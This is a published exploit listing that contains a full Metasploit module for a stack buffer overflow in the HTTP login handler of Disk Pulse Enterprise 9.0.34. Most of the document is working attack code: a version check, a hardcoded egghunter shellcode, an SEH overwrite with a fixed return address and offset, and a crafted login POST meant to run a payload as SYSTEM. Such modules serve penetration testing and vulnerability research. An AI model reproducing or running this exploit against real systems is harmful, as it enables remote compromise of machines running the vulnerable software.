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Disk Pulse Enterprise 9.0.34 Login Buffer Overflow

Disk Pulse Enterprise 9.0.34 Login Buffer Overflow
Posted Nov 14, 2016
Authored by Chris Higgins, Tulpa | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in Disk Pulse Enterprise 9.0.34. If a malicious user sends a malicious HTTP login request, it is possible to execute a payload that would run under the Windows NT AUTHORITY\SYSTEM account. Due to size constraints, this module uses the Egghunter technique.

tags | exploit, web, overflow
systems | windows, nt
MD5 | 0736a1a35a8b9a9b973e89997322136f

Disk Pulse Enterprise 9.0.34 Login Buffer Overflow

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Disk Pulse Enterprise Login Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Disk Pulse Enterprise
9.0.34. If a malicious user sends a malicious HTTP login request,
it is possible to execute a payload that would run under the Windows
NT AUTHORITY\SYSTEM account. Due to size constraints, this module
uses the Egghunter technique.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Higgins', # msf Module -- @ch1gg1ns
'Tulpa Security' # Original discovery -- @tulpa_security
],
'References' =>
[
[ 'EDB', '40452' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x26"
},
'Targets' =>
[
[ 'Disk Pulse Enterprise 9.0.34',
{
'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll
'Offset' => 12600
}
],
],
'Privileged' => true,
'DisclosureDate' => 'Oct 03 2016',
'DefaultTarget' => 0))

register_options([Opt::RPORT(80)], self.class)

end

def check
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})

if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def exploit
connect
eggoptions =
{
:checksum => true,
:eggtag => "w00t"
}

print_status("Generating exploit...")

sploit = "username=admin"
sploit << "&password=aaaaa\r\n"

# Would like to use generate_egghunter(), looking for improvement
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

sploit << rand_text(target['Offset'] - payload.encoded.length)
sploit << "w00tw00t"
sploit << payload.encoded
sploit << make_nops(70)
sploit << rand_text(1614)
# Would like to use generate_seh_record(), looking for improvement
sploit << "\x90\x90\xEB\x0B"
sploit << "\x33\xA3\x01\x10"
sploit << make_nops(20)
sploit << egghunter
sploit << make_nops(7000)

# Total exploit size should be 21747
print_status("Total exploit size: " + sploit.length.to_s)
print_status("Triggering the exploit now...")
print_status("Please be patient, the egghunter may take a while...")

res = send_request_cgi({
'uri' => '/login',
'method' => 'POST',
'content-type' => 'application/x-www-form-urlencoded',
'content-length' => '17000',
'data' => sploit
})

handler
disconnect

end
end

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